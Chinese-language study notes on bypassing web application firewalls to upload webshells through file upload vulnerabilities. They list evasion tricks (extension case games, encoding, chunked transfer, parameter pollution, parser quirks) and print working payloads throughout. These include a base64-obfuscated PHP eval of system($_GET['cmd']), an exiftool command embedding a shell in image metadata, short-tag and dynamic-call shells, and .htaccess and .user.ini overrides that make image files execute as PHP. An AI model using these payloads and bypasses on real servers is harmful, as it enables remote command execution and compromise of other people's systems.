文件上传漏洞绕过WAF
文件上传漏洞绕过WAF学习笔记
1. WAF检测原理
WAF(Web应用防火墙)通过以下方式拦截文件上传攻击:
-
关键字匹配:检测文件名、内容中的敏感词(如
<?php
、eval
)。 -
扩展名黑名单:拦截
.php
、.jsp
等危险扩展名。 -
文件头验证:检查文件魔数(如
FFD8FF
对应JPEG)。 -
流量特征分析:检测异常请求结构(如超长文件名、畸形HTTP包)。
2. 通用绕过技术
2.1 解析差异利用
-
大小写混合:
sHell.PhP
、.Php
(部分WAF未统一大小写)。 -
特殊字符插入:
-
分号截断(IIS):
shell.asp;.jpg
→ 解析为.asp
。 -
换行符插入:
filename="shell.p\nhp"
(绕过正则匹配)。
-
-
扩展名混淆:
-
多重扩展名:
shell.php.jpg
→ 结合解析漏洞(如Apache解析最后有效扩展名)。 -
非标准扩展名:
.php7
、.phtml
、.phar
(需环境支持)。
-
2.2 编码混淆
-
URL编码:
-
shell.%70hp
(%70
=p)→ 部分WAF不解码检测。
-
-
Unicode编码:
-
shell.\u0070hp
→ 转换为shell.php
。
-
-
HTML实体编码:
-
文件名:
shell.#112;hp
(#112;
=p)。
-
-
Base64/Hex编码文件内容:
php
<?= eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>
2.3 分块传输(Chunked Encoding)
-
绕过原理:WAF可能不解析分块传输的文件内容。
-
示例:
http
POST /upload HTTP/1.1 Transfer-Encoding: chunked 7\r\n <?php \r\n 8\r\n system($_GET['cmd']);\r\n 0\r\n
-
工具:Burp Suite的
Chunked Coding Converter
插件。
2.4 文件内容绕过
-
图片马注入:
-
在图片元数据中插入代码(Exif注释、IPTC字段)。
bash
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
-
-
短标签与动态调用:
php
<?= `$_GET[0]`?> # 短标签 <?php $_GET['a']($_GET['b']); ?> # 动态函数调用
-
代码碎片化:
php
<?php $a = "syste"; $b = "m"; $a.$b("id"); ?>
2.5 HTTP协议特性利用
-
参数污染:
http
POST /upload?filename=shell.jpg HTTP/1.1 Content-Disposition: form-data; name="file"; filename="shell.php"
-
部分WAF优先取URL参数中的文件名。
-
-
多文件上传绕过:
-
在多个文件字段中插入恶意文件,WAF可能只检测第一个。
-
3. 针对特定WAF的绕过
3.1 云WAF(如Cloudflare、阿里云)
-
缓存污染攻击:
-
上传合法文件触发缓存,再覆盖为恶意文件。
-
-
IP轮询绕过:
-
通过大量不同IP上传,绕过频率限制。
-
3.2 ModSecurity规则绕过
-
已知规则缺陷:
-
使用非常规扩展名:
.php%20
(空格)、.php.
(末尾点)。 -
利用正则回溯限制:构造超长文件名耗尽WAF计算资源。
-
4. 高级技巧
4.1 .htaccess/.user.ini覆盖
-
.htaccess(Apache):
复制
AddType application/x-httpd-php .jpg
-
.user.ini(PHP):
复制
auto_prepend_file=shell.jpg
4.2 分片上传绕过
-
上传文件分片后合并,绕过WAF对完整文件的检测。
4.3 0day漏洞利用
-
CVE-2023-XXXX:特定WAF未修复的解析漏洞(需持续跟踪)。